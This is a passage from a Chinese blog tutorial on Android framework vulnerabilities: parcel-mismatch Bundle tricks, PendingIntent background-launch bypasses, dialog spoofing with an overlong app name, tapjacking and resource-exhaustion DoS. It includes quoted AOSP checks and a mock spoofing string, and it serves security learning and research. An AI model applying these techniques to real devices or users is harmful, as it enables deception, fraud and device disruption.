读取当前偏移的数据然后自增偏移。假如 read 没有完全消费它写入的所有值,那么 parcel 中残留的值可能会影响后续值的解析。</p><p>举个例子,假如有如下 aidl 函数定义:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">void registerPerson(Person person, int flags);</span><br></pre></td></tr></table></figure><p>假如 Person 中最后一行 <code>obj.money = in.readInt()</code> 缺失了,那么 Person 对象反序列化完之后,还会有一个 int 残留在 parcel 内,接下来尝试读取 flags 调用 readInt 时实际上读取到的是 Person 残留的 money 而不是正确的 flags。</p><p>再回过头来看一下之前 LaunchAnywhere 漏洞,当时的修复补丁是,authenticator 返回 intent 后 AccountManagerService 检查 intent 要调起的 activity 的包的签名是否与 authenticator 自身匹配,匹配才发送给调用者让它打开。这里有一个点,authenticator 返回的数据类型实际上是 Bundle,intent 也是放进 bundle 里存储的。Bundle 这里可以简单理解为一个 map,存储着键值对,里面值的类型除了可以是基本类型和 String,还可以是任意 Parcelable 对象。</p><p>这两点结合起来,会碰撞出怎样的火花呢?注意上面检查 bundle 是在 AccountManagerService 中,它在 system_server 中运行,而实际调起 activity 的操作在调用者进程中,所以这里 bundle 从 system_server 到 app 还要经过一次序列化和反序列化。我们已经知道 bundle 是一个 map 且可以存储任意 Parcelable 对象,那假如我们在 bundle 中任意放一个反序列化错位的对象,就有机会污染它后面的键值对,通过精心构造内存布局,我们甚至能让 AccountManagerService 检查时找不到 intent,而经过一次序列化和反序列化传输到 app 后却能找到 intent,绕过 LaunchAnywhere 漏洞的修复!由于 Bundle 接受任意 Parcelable,所以实际上任何有问题的 Parcelable 都能拿来这样利用!这种技术有一个特别的名字,叫 Self-changing Bundle。2023 年国内某电商软件大肆在野利用的其中一个漏洞 <a href="https://android.googlesource.com/platform/frameworks/base/+/266b3bddcf14d448c0972db64b42950f76c759e3%5E%21/#F0" target="_blank" rel="noopener">CVE-2023-20963</a> 就属于此类漏洞。获得了以系统权限启动任意 Activity 的能力后,可以利用系统内部一些 activity 的 intent redirection,设置 data 和 flags 拿到内部 content provider 如一些 file provider 的读写权限,可以越权读写系统关键文件,改写系统配置;另一种利用方案是攻击其他应用未导出的组件,读写应用内部数据甚至向其他应用注入恶意代码。</p><p>由于 Google 已经意识到这类漏洞的强大破坏力,在 Android 13 中引入了多个机制缓解此类漏洞,如 <a href="https://cs.android.com/android/_/android/platform/frameworks/base/+/9ca6a5e21a1987fd3800a899c1384b22d23b6dee" target="_blank" rel="noopener">Lazy Bundle</a> 和 <a href="https://developer.android.com/reference/android/os/Parcel#enforceNoDataAvail()" target="_blank" rel="noopener">Parcel.enforceNoDataAvail()</a>。另外 Google 在 AccountManagerService 引入了一个新的 <code>checkKeyIntentParceledCorrectly</code> 函数,校验 bundle 中的 intent 反序列化前后是否一致,并把该补丁一路向下 backport 到了 Android 11,算是基本封死了这类利用 bundle 的方法。</p><p>更多关于这类漏洞的细节,可以参考以下文章:</p><ul><li><a href="https://evilpan.com/2023/02/18/parcel-bugs/" target="_blank" rel="noopener">Android 反序列化漏洞攻防史话</a></li><li><a href="https://konata.github.io/posts/creator-mismatch/" target="_blank" rel="noopener">Creator Mismatch</a></li><li><a href="https://xuanxuanblingbling.github.io/ctf/android/2024/04/13/launchanywhere02/" target="_blank" rel="noopener">Clang 裁缝店:LaunchAnyWhere 补丁绕过:Android Bundle Mismatch 系列漏洞 复现与分析</a></li></ul><p>同时强烈建议查看 <a href="https://github.com/michalbednarski" target="_blank" rel="noopener">Michał Bednarski 的 GitHub 主页</a>,大部分都是 parcel mismatch 类漏洞且每一个都有很详细的 writeup。</p><h3 id="组件启动的后台限制"><a href="#组件启动的后台限制" class="headerlink" title="组件启动的后台限制"></a>组件启动的后台限制</h3><p>Android 系统对在后台运行的应用施加严格限制,如果应用有办法绕过这些限制,就可能被视为安全漏洞。本节我们主要关注以下限制:</p><ul><li><a href="https://developer.android.com/guide/components/activities/background-starts" target="_blank" rel="noopener">从后台启动 activity 的限制</a></li><li><a href="https://developer.android.com/develop/background-work/services/foreground-services#bg-access-restrictions" target="_blank" rel="noopener">从后台启动前台服务的限制</a></li></ul><p>同时我们定义以下缩写:</p><ul><li>BAL:Background activity launch,绕过上面的第一个限制</li><li>BG-FGS:Background-Foreground Service start,绕过上面的第二个限制</li><li>WIU:while-in-use 权限,简称前台权限,指用户仅允许应用“在使用中才能获得”的权限</li></ul><p>恶意应用利用 BAL 漏洞可以在后台随意弹出广告,严重影响用户对手机的正常使用。能够绕过 BAL 限制的漏洞一般至少都会被授予 High 等级,而虽然绕过 BG-FGS 限制并不被直接视为是安全漏洞,但如果能从后台获取 WIU 权限,仍然会被认为是高危。部分此类漏洞具有相似的模式,从近几个月的安全广告来看也确实每隔一两个月都有类似漏洞出现。本节我们主要介绍利用 PendingIntent 实现 BAL。</p><p>以 Android 14 为例,系统判断 BAL 是否被允许的逻辑在 <a href="https://cs.android.com/android/platform/superproject/+/android-14.0.0_r28:frameworks/base/services/core/java/com/android/server/wm/BackgroundActivityStartController.java;l=193" target="_blank" rel="noopener">BackgroundActivityStartController.checkBackgroundActivityStart()</a> 里,判断是否能启动前台服务的逻辑则在 <a href="https://cs.android.com/android/platform/superproject/+/android-14.0.0_r28:frameworks/base/services/core/java/com/android/server/am/ActiveServices.java;l=7494" target="_blank" rel="noopener">ActiveServices.canStartForegroundServiceLocked()</a>。</p><p>以 BAL 为例,我们这里就不分析完整判断逻辑了,实在是太长了,详细分析绝对不是这里能写完的。我们主要关注这一小段:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Legacy behavior allows to use caller foreground state to bypass BAL restriction.</span></span><br><span class="line"><span class="comment">// The options here are the options passed by the sender and not those on the intent.</span></span><br><span class="line"><span class="keyword">final</span> BackgroundStartPrivileges balAllowedByPiSender =</span><br><span class="line"> PendingIntentRecord.getBackgroundStartPrivilegesAllowedByCaller(</span><br><span class="line"> checkedOptions, realCallingUid, realCallingPackage);</span><br><span class="line"></span><br><span class="line"><span class="keyword">final</span> <span class="keyword">boolean</span> logVerdictChangeByPiDefaultChange = checkedOptions == <span class="keyword">null</span></span><br><span class="line"> || checkedOptions.getPendingIntentBackgroundActivityStartMode()</span><br><span class="line"> == ComponentOptions.MODE_BACKGROUND_ACTIVITY_START_SYSTEM_DEFINED;</span><br><span class="line"><span class="keyword">final</span> <span class="keyword">boolean</span> considerPiRules = logVerdictChangeByPiDefaultChange</span><br><span class="line"> || balAllowedByPiSender.allowsBackgroundActivityStarts();</span><br><span class="line"><span class="keyword">final</span> String verdictLogForPiSender =</span><br><span class="line"> balAllowedByPiSender.allowsBackgroundActivityStarts() ? VERDICT_ALLOWED</span><br><span class="line"> : VERDICT_WOULD_BE_ALLOWED_IF_SENDER_GRANTS_BAL;</span><br><span class="line"></span><br><span class="line"><span class="meta">@BalCode</span> <span class="keyword">int</span> resultIfPiSenderAllowsBal = BAL_BLOCK;</span><br><span class="line"><span class="keyword">if</span> (realCallingUid != callingUid && considerPiRules) {</span><br><span class="line"> resultIfPiSenderAllowsBal = checkPiBackgroundActivityStart(callingUid, realCallingUid,</span><br><span class="line"> backgroundStartPrivileges, intent, checkedOptions,</span><br><span class="line"> realCallingUidHasAnyVisibleWindow, isRealCallingUidPersistentSystemProcess,</span><br><span class="line"> verdictLogForPiSender);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (resultIfPiSenderAllowsBal != BAL_BLOCK</span><br><span class="line"> && balAllowedByPiSender.allowsBackgroundActivityStarts()</span><br><span class="line"> && !logVerdictChangeByPiDefaultChange) {</span><br><span class="line"> <span class="comment">// The result is to allow (because the sender allows BAL) and we are not interested in</span></span><br><span class="line"> <span class="comment">// logging differences, so just return.</span></span><br><span class="line"> <span class="keyword">return</span> resultIfPiSenderAllowsBal;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>如果调用者实际上不是自己 startActivity,而是发送了由其他 UID 创建的 PendingIntent (或 IntentSender,实际上是 PendingIntent 内部实现),则 <code>realCallingUid != callingUid</code> 会成立,然后会调用 <code>checkPiBackgroundActivityStart</code>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="meta">@BalCode</span> <span class="function"><span class="keyword">int</span> <span class="title">checkPiBackgroundActivityStart</span><span class="params">(<span class="keyword">int</span> callingUid, <span class="keyword">int</span> realCallingUid,</span></span></span><br><span class="line"><span class="function"><span class="params"> BackgroundStartPrivileges backgroundStartPrivileges, Intent intent,</span></span></span><br><span class="line"><span class="function"><span class="params"> ActivityOptions checkedOptions, <span class="keyword">boolean</span> realCallingUidHasAnyVisibleWindow,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">boolean</span> isRealCallingUidPersistentSystemProcess, String verdictLog)</span> </span>{</span><br><span class="line"> <span class="keyword">final</span> <span class="keyword">boolean</span> useCallerPermission =</span><br><span class="line"> PendingIntentRecord.isPendingIntentBalAllowedByPermission(checkedOptions);</span><br><span class="line"> <span class="keyword">if</span> (useCallerPermission</span><br><span class="line"> && ActivityManager.checkComponentPermission(</span><br><span class="line"> android.Manifest.permission.START_ACTIVITIES_FROM_BACKGROUND,</span><br><span class="line"> realCallingUid, -<span class="number">1</span>, <span class="keyword">true</span>) == PackageManager.PERMISSION_GRANTED) {</span><br><span class="line"> <span class="keyword">return</span> logStartAllowedAndReturnCode(BAL_ALLOW_PENDING_INTENT,</span><br><span class="line"> <span class="comment">/*background*/</span> <span class="keyword">false</span>, callingUid, realCallingUid, intent,</span><br><span class="line"> <span class="string">"realCallingUid has BAL permission. realCallingUid: "</span> + realCallingUid,</span><br><span class="line"> verdictLog);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// don't abort if the realCallingUid has a visible window</span></span><br><span class="line"> <span class="comment">// TODO(b/171459802): We should check appSwitchAllowed also</span></span><br><span class="line"> <span class="keyword">if</span> (realCallingUidHasAnyVisibleWindow) {</span><br><span class="line"> <span class="keyword">return</span> logStartAllowedAndReturnCode(BAL_ALLOW_PENDING_INTENT,</span><br><span class="line"> <span class="comment">/*background*/</span> <span class="keyword">false</span>, callingUid, realCallingUid, intent,</span><br><span class="line"> <span class="string">"realCallingUid has visible (non-toast) window. realCallingUid: "</span></span><br><span class="line"> + realCallingUid, verdictLog);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// if the realCallingUid is a persistent system process, abort if the IntentSender</span></span><br><span class="line"> <span class="comment">// wasn't allowed to start an activity</span></span><br><span class="line"> <span class="keyword">if</span> (isRealCallingUidPersistentSystemProcess</span><br><span class="line"> && backgroundStartPrivileges.allowsBackgroundActivityStarts()) {</span><br><span class="line"> <span class="keyword">return</span> logStartAllowedAndReturnCode(BAL_ALLOW_PENDING_INTENT,</span><br><span class="line"> <span class="comment">/*background*/</span> <span class="keyword">false</span>, callingUid, realCallingUid, intent,</span><br><span class="line"> <span class="string">"realCallingUid is persistent system process AND intent "</span></span><br><span class="line"> + <span class="string">"sender allowed (allowBackgroundActivityStart = true). "</span></span><br><span class="line"> + <span class="string">"realCallingUid: "</span> + realCallingUid, verdictLog);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// don't abort if the realCallingUid is an associated companion app</span></span><br><span class="line"> <span class="keyword">if</span> (mService.isAssociatedCompanionApp(</span><br><span class="line"> UserHandle.getUserId(realCallingUid), realCallingUid)) {</span><br><span class="line"> <span class="keyword">return</span> logStartAllowedAndReturnCode(BAL_ALLOW_PENDING_INTENT,</span><br><span class="line"> <span class="comment">/*background*/</span> <span class="keyword">false</span>, callingUid, realCallingUid, intent,</span><br><span class="line"> <span class="string">"realCallingUid is a companion app. "</span></span><br><span class="line"> + <span class="string">"realCallingUid: "</span> + realCallingUid, verdictLog);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> BAL_BLOCK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>如果 <code>realCallingUid</code> 即 PendingIntent/IntentSender 的发送者拥有可见窗体,或者是需要持续运行的系统重要进程,那么就有机会被允许。常见的是很多 OEM 在 system uid 的进程中实现手势导航等自定义功能,导致系统认为 system uid 具有可见窗口,暴露攻击面。而系统中有很多接收 PendingIntent/IntentSender 的接口,一般用于异步操作完成后向调用者发送返回值,如果忘记在 options 内指定参数禁止 BAL,那就有可能被我们利用。</p><p>以 <a href="https://android.googlesource.com/platform/frameworks/base/+/6aba151873bfae198ef9eceb10f943e18b52d58c%5E%21/#F0" target="_blank" rel="noopener">CVE-2023-21081 & CVE-2023-21099</a> 为例,系统中 PackageManager 多个 API 接受一个 IntentSender 作为回调接口,而发送该 IntentSender 时没有指定 options 导致其为默认的 null。解决方法就是加一个 options 并且 <code>setPendingIntentBackgroundActivityLaunchAllowed(false)</code>。</p><p>这里有一点,Android 14 中对 BAL 限制做出了一些增强,其中 “应用会收到来自其他可见应用发送的 PendingIntent” 一项中加了一个对我们很重要的限制:</p><blockquote><p>Note: Starting from Android 14, apps targeting Android 14 or higher must opt in to allow background activity launch when sending a PendingIntent. To opt in, the app should pass an ActivityOptions bundle with setPendingIntentBackgroundActivityStartMode(ActivityOptions.MODE_BACKGROUND_ACTIVITY_START_ALLOWED)</p></blockquote><p><a href="https://cs.android.com/android/platform/superproject/+/android-14.0.0_r28:frameworks/base/services/core/java/com/android/server/am/PendingIntentRecord.java;l=395" target="_blank" rel="noopener">getDefaultBackgroundStartPrivileges</a> 在 options 为空时返回的默认值也有更改,可能不允许 BAL:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> BackgroundStartPrivileges <span class="title">getDefaultBackgroundStartPrivileges</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">int</span> callingUid, @Nullable String callingPackage)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (UserHandle.getAppId(callingUid) == Process.SYSTEM_UID) {</span><br><span class="line"> <span class="comment">// We temporarily allow BAL for system processes, while we verify that all valid use</span></span><br><span class="line"> <span class="comment">// cases are opted in explicitly to grant their BAL permission.</span></span><br><span class="line"> <span class="comment">// Background: In many cases devices are running additional apps that share UID with</span></span><br><span class="line"> <span class="comment">// the system. If one of these apps targets a lower SDK the change is not active, but</span></span><br><span class="line"> <span class="comment">// as soon as that app is upgraded (or removed) BAL would be blocked. (b/283138430)</span></span><br><span class="line"> <span class="keyword">return</span> BackgroundStartPrivileges.ALLOW_BAL;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">boolean</span> isChangeEnabledForApp = callingPackage != <span class="keyword">null</span> ? CompatChanges.isChangeEnabled(</span><br><span class="line"> DEFAULT_RESCIND_BAL_PRIVILEGES_FROM_PENDING_INTENT_SENDER, callingPackage,</span><br><span class="line"> UserHandle.getUserHandleForUid(callingUid)) : CompatChanges.isChangeEnabled(</span><br><span class="line"> DEFAULT_RESCIND_BAL_PRIVILEGES_FROM_PENDING_INTENT_SENDER, callingUid);</span><br><span class="line"> <span class="keyword">if</span> (isChangeEnabledForApp) {</span><br><span class="line"> <span class="keyword">return</span> BackgroundStartPrivileges.ALLOW_FGS;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> BackgroundStartPrivileges.ALLOW_BAL;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>再加上大部分这种漏洞都已经被挖完了,这种漏洞在 2024 年之后基本在 AOSP 中绝迹。</p><p>想要了解更多的话,可以查看 OPPO 的这篇文章:<a href="https://mp.weixin.qq.com/s/hGx8FNjI37trnZehY839bQ" target="_blank" rel="noopener">恶意 App 后台弹窗技术手法分析</a></p><h2 id="骗!偷袭!不讲武德!"><a href="#骗!偷袭!不讲武德!" class="headerlink" title="骗!偷袭!不讲武德!"></a>骗!偷袭!不讲武德!</h2><p>上面介绍了很多技术漏洞,这一节从人出发,介绍几个原理很简单朴素的漏洞。</p><h3 id="CVE-2018-9432:一个小小的字符串能有什么坏心思呢?"><a href="#CVE-2018-9432:一个小小的字符串能有什么坏心思呢?" class="headerlink" title="CVE-2018-9432:一个小小的字符串能有什么坏心思呢?"></a>CVE-2018-9432:一个小小的字符串能有什么坏心思呢?</h3><p>假如说,你是系统开发者,你自定义了一个特权操作,比如从用户绑定的钱包里划走一百块,同时允许应用调用你定义的接口请求这个操作,那肯定得需要得到用户明确允许才行。一般的做法是设计一个对话框,如下所示,其中 <code><appname></code> 代表发起请求的应用名称:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><appname> 正在请求消费 100 元人民币,此笔款项将会从您的钱包中扣除。您确认要支付吗?</span><br><span class="line"></span><br><span class="line">取消 确认</span><br></pre></td></tr></table></figure><p>而如果我们将应用名设置的特别长,会怎么样呢?我们精心设置一个超长的应用名,它会这样显示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><XX 应用需要您同意隐私协议。</span><br><span class="line">XX 应用隐私协议:</span><br><span class="line">1. 本应用由 xxx 公司开发。</span><br><span class="line">2. 本应用在运行过程中,需要以下权限运行:</span><br><span class="line">(1). 网络权限。本应用需要此权限以连接服务器、向服务器发送数据并拉取数据。您必须授予此权限。</span><br><span class="line">(2). 存储卡权限。本应用部分功能需要读写您的照片、笔记等内容,因此需要存储卡权限。我们不会滥用通过此权限获得的数据,也不会将其持久化存储或上传到网络。我们只在您使用特定功能时请求此权限,您也可以随时拒绝或撤销此权限。不授予此权限不会对其他功能产生影响。</span><br><span class="line">.......</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">如您同意此协议,请点击“确认”继续运行。如您拒绝此协议,本应用无法运行并将自动退出。</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">> 正在请求消费 100 元人民币,此笔款项将会从您的钱包中扣除。您确认要支付吗?</span><br><span class="line"></span><br><span class="line">取消 确认</span><br></pre></td></tr></table></figure><p>这里用 <> 括起来的一大段其实都是应用名。而受限于屏幕大小限制,对话框显示的时候只能显示前面的应用名,真正的“正在请求消费”信息被挤下去了。如果用户没有注意到对话框文本可以滑动(事实上就算注意到了,估计也会认为剩下的全是又臭又长的协议),直接点了确认,就会不知不觉间损失财产。</p><p>实际生活中的支付对话框当然不可能设计的这么简单,但历史上确实出现过此类漏洞,如 CVE-2015-3878 屏幕录制授权欺骗漏洞、CVE-2017-13242 蓝牙配对欺骗漏洞、CVE-2018-9432: 蓝牙通讯录访问欺骗漏洞等。感兴趣的可以查看这篇文章:<a href="https://mp.weixin.qq.com/s/mN5M9-P0g6x_4NqTKbO2Sg" target="_blank" rel="noopener">Android 中的特殊攻击面(一)——邪恶的对话框</a></p><p>高版本 Android 系统对话框做了一些更改,如权限请求对话框的“允许”“拒绝”选项现在和对话框的内容放在一起,用户必须完全滚动到最下方才能点到按钮,算是基本杜绝了此类漏洞。</p><h3 id="CVE-2021-0314:UI-覆盖与点按劫持"><a href="#CVE-2021-0314:UI-覆盖与点按劫持" class="headerlink" title="CVE-2021-0314:UI 覆盖与点按劫持"></a>CVE-2021-0314:UI 覆盖与点按劫持</h3><p>Android 有一个功能,允许应用在其他应用之上显示内容,通常简称为“悬浮窗”。早在 Android 4.x 时代,恶意开发者就已经滥用这个权限制作恶意软件,如在设备开机时显示全屏悬浮窗阻止用户使用手机,从而勒索钱财,即所谓的“锁机软件”。通过这个功能,还可以实现很多有意义的攻击。还是以上面的对话框为例,这次我们不使用超长应用名称,而是利用悬浮窗功能,在对话框显示的同时覆盖我们自己的内容到对话框的文本上面,用户很容易就会被误导点击确认。</p><p>这种类型的攻击叫做点按劫持攻击(Tapjacking Attack)。对大部分情况来说,能够被其他应用覆盖<a href="https://bughunters.google.com/learn/invalid-reports/android-platform/5148417640366080/bugs-with-negligible-security-impact#tapjacking-overlay-system_alert_window-vulnerability-on-a-non-security-critical-screen" target="_blank" rel="noopener">并不是安全问题</a>,而对于敏感对话框,可以通过申请 <code>HIDE_NON_SYSTEM_OVERLAY_WINDOWS</code> 权限并对当前 window 添加 <code>SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS</code> 这个属性或调用 <a href="https://developer.android.com/reference/android/view/Window#setHideOverlayWindows(boolean)" target="_blank" rel="noopener">setHideOverlayWindows</a> 来隐藏所有的非系统悬浮窗,还可以通过 <code>filterTouchesWhenObscured</code> <code>onFilterTouchEventForSecurity</code> 等 API 过滤可能被劫持的输入事件。但实际上,Android 系统自身也出现过多个忘记对敏感对话框使用防御措施的漏洞,如此例的 CVE-2021-0314 便是卸载应用的确认对话框。</p><p>想要了解更多,可以查看以下文章:</p><ul><li><a href="https://developer.android.com/privacy-and-security/risks/tapjacking" target="_blank" rel="noopener">Google 官方对点按劫持的介绍</a></li><li><a href="https://mp.weixin.qq.com/s/04pcy3V3mhyru4YCwiGJLg" target="_blank" rel="noopener">不可忽视的威胁:Android中的点击劫持攻击</a></li></ul><h2 id="宁为玉碎-——-拒绝服务类攻击"><a href="#宁为玉碎-——-拒绝服务类攻击" class="headerlink" title="宁为玉碎 —— 拒绝服务类攻击"></a>宁为玉碎 —— 拒绝服务类攻击</h2><p>Android 的漏洞分类中,还有一种特殊的漏洞,既不能像影视剧里的黑客一样敲敲键盘入侵敌国核弹系统,也不能泄漏别人的银行卡密码,它能做的只有使手机工作出现异常。它就是拒绝服务类漏洞。虽然不像 RCE、EoP、ID 那么亮眼,但也不能小看这类一不小心就让你手机变砖头的漏洞。在 Android 的漏洞严重程度定义中,有如下内容:</p><blockquote><p>严重(Critical):设备遭到远程发起的持久性拒绝服务攻击(永久性损坏、需要重新刷写整个操作系统或恢复出厂设置)<br>高(High):设备遭到本地发起的持久性拒绝服务攻击(永久性损坏、需要重新刷写整个操作系统或恢复出厂设置);攻击者可以在没有用户互动的情况下远程阻止对移动网络或 Wi-Fi 服务的访问(例如,用格式不正确的数据包使移动网络无线装置服务崩溃)<br>中(Moderate):设备遭到远程发起的设备暂时性拒绝服务攻击(远程挂起或重新启动设备)</p></blockquote><p>能达到“严重”程度的 DoS 漏洞很少见,看见过的几个都是 TextView 文字渲染的崩溃或者死循环。我们主要瞄准严重程度“高”的漏洞。</p><p>想要“持久性拒绝服务攻击”,比如让手机系统崩溃开不了机无限重启,除了利用系统本身的缺陷,很容易能想到的还有传统 DoS 中的“资源耗尽”,简单来说,占用系统大量资源使其停止工作。但是,让 system_server 崩溃一次最多只会造成系统软重启一次,并不算持久。怎么样才能持久呢?</p><p>“持久”,这两个字能描述的东西,还有数据。如果能够将恶意的数据保存下来,系统每次启动尝试去读取它的时候就都会崩溃,陷入死局。而所谓“能让系统崩溃的恶意数据”除了精心构造的、利用代码本身问题的数据,很容易能想到的还有超大量的数据,在系统处理的过程中耗尽系统内存资源触发崩溃。以 <a href="https://android.googlesource.com/platform/frameworks/base/+/cf62c760d4c002f562ddd5f372abe5bccda8a6ad%5E%21/#F0" target="_blank" rel="noopener">CVE-2021-0934</a> 为例,Account 就是要被持久化存储的数据,虽然已经考虑到系统资源负担,对 Account 内字符串的大小及 Account 数量做出限制,然而字符串大小限制在客户端,能被绕过。这里注意,binder 一次能传输数据的大小也是有限制的,大概在 1mb 左右,所以还不能一次传太大,只能一个一个传。像这样的漏洞还有很多,系统开发者设计接口时一不小心忘记加上限制就有可能变成一个 CVE,如 <a href="https://github.com/Supersonic/CVE-2022-20494" target="_blank" rel="noopener">CVE-2022-20494</a>。这种一点一点增大系统资源负载的攻击很像成语“压死骆驼的最后一根稻草”的故事,因此也被称为稻草攻击(Straw Attack)。复旦大学有一篇论文<a href="https://www.computer.org/csdl/proceedings-article/sp/2022/131600a542/1FlQCuVjqIU" target="_blank" rel="noopener">《Exploit the Last Straw That Breaks Android Systems》</a>,发表在 IEEE Symposium on Security and Privacy. 2022 上,专门介绍这类攻击手法,感兴趣的可以看一下。英文不太好的同学也可以看看这篇译文<a href="https://www.inforsec.org/wp/?p=5909" target="_blank" rel="noopener">《稻草攻击:压死安卓系统的最后一根稻草》</a>。<del>(这算是把中文翻译成英文又翻译成中文吗?)</del></p><h2 id="扩展阅读"><a href="#扩展阅读" class="headerlink" title="扩展阅读"></a>扩展阅读</h2><p>上面的文章里放了很多文章,这里再放一些同样很优秀的扩展类文章。强烈建议阅读 OPPO 几个微信公众号发布的系列文章。</p><ul><li><a href="https://wrlus.com/android-security-learning/android-system-security-intro/" target="_blank" rel="noopener">小路:Android 系统安全和黑灰产对抗</a></li><li><a href="https://mp.weixin.qq.com/s/_qEG6NGa78RP80eeg62Bwg" target="_blank" rel="noopener">OPPO 安珀实验室:Android Java Framework 漏洞挖掘快速上手方法</a></li><li><a href="https://mp.weixin.qq.com/s/skfpZZiEGj4MNFzw2UGGGg" target="_blank" rel="noopener">OPPO 安珀实验室:Android 本地服务漏洞挖掘技术</a> 这里只放了上篇的链接,剩下两篇自己去微信公众号看吧……</li></ul><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>本文介绍了大量 Android 系统中的漏洞,并尝试总结出一些常见类型,希望能给对 Android 系统安全感兴趣的人一点帮助。当然,如果你想成为一名专业的 Android 安全研究员,传统二进制漏洞如 buffer overflow、use-after-free 等也肯定是需要了解的。我个人觉得,入门学习 Android 安全最好的时间是 2023 年之前。在 2023 年之前,只要附上一份高质量的漏洞描述,单个 moderate 级别漏洞就能获得 $2000 奖励,High/Critical 更高,而且只要是有效漏洞,Google 给予的漏洞分级一般都不会低于 moderate。如果提交了补丁且被接受,就有机会额外再加 $1000。然而,从 2023 年 5 月开始,moderate 级别漏洞奖金大幅缩水,<a href="https://bughunters.google.com/about/rules/6171833274204160/android-and-google-devices-security-reward-program-rules#qualifying-exploit-chains" target="_blank" rel="noopener">最高只有 $250</a>,且大部分此级别漏洞不再被分配 CVE。笔者曾经提交过 Moderate Severity + Medium Quality 的 bug report,得到的回复是不符合奖励标准。即使获得奖金,Google 的动作也实在是有些慢。笔者曾经询问过奖金进度,得到的回复是这样的:</p><blockquote><p>Hello,<br>Thanks for reaching out. Rewards are processed at 90 days after submission and once it has been processed, you will receive an email with details on the next steps to collect the reward.<br>Best Regards,<br>Android Security Team</p></blockquote><p>嗯,90 天,Only Google can do。而对于一个被确认的安全漏洞的生命周期是这样的:</p><blockquote><ol><li>Initial severity rating assessment (subject to change after review by component owners) (3)</li><li>Development of an update</li><li>Assignment of CVE</li><li>Shared under NDA, as part of coordinated disclosure, to Android partners for remediation</li><li>Release in a public Android security bulletin</li><li>Android Security Rewards payment (if applicable)</li></ol></blockquote><p>而 Google 的慢会体现在每一步上,第一步的评级就有可能花几个月。即使内部已经写出来了修复,Google 也要首先向所有合作伙伴共享该漏洞,然后至少等一个月才会在每月安全公告中发布。不过值得高兴的一点是,大部分时候漏洞赏金都会在漏洞被修复之前就给你。很明显,如果你是一个独立的安全研究员,指望靠挖洞吃饭,先不论你能找到多少洞获得多少钱,就这个速度,估计你在钱到手上之前就饿死了。当然,如果你背后有着专业的安全公司或者团队,或者就是对安全感兴趣想来试试,那可以当我没说。我相信人的兴趣来了没有人能挡住,就像以前的我一样 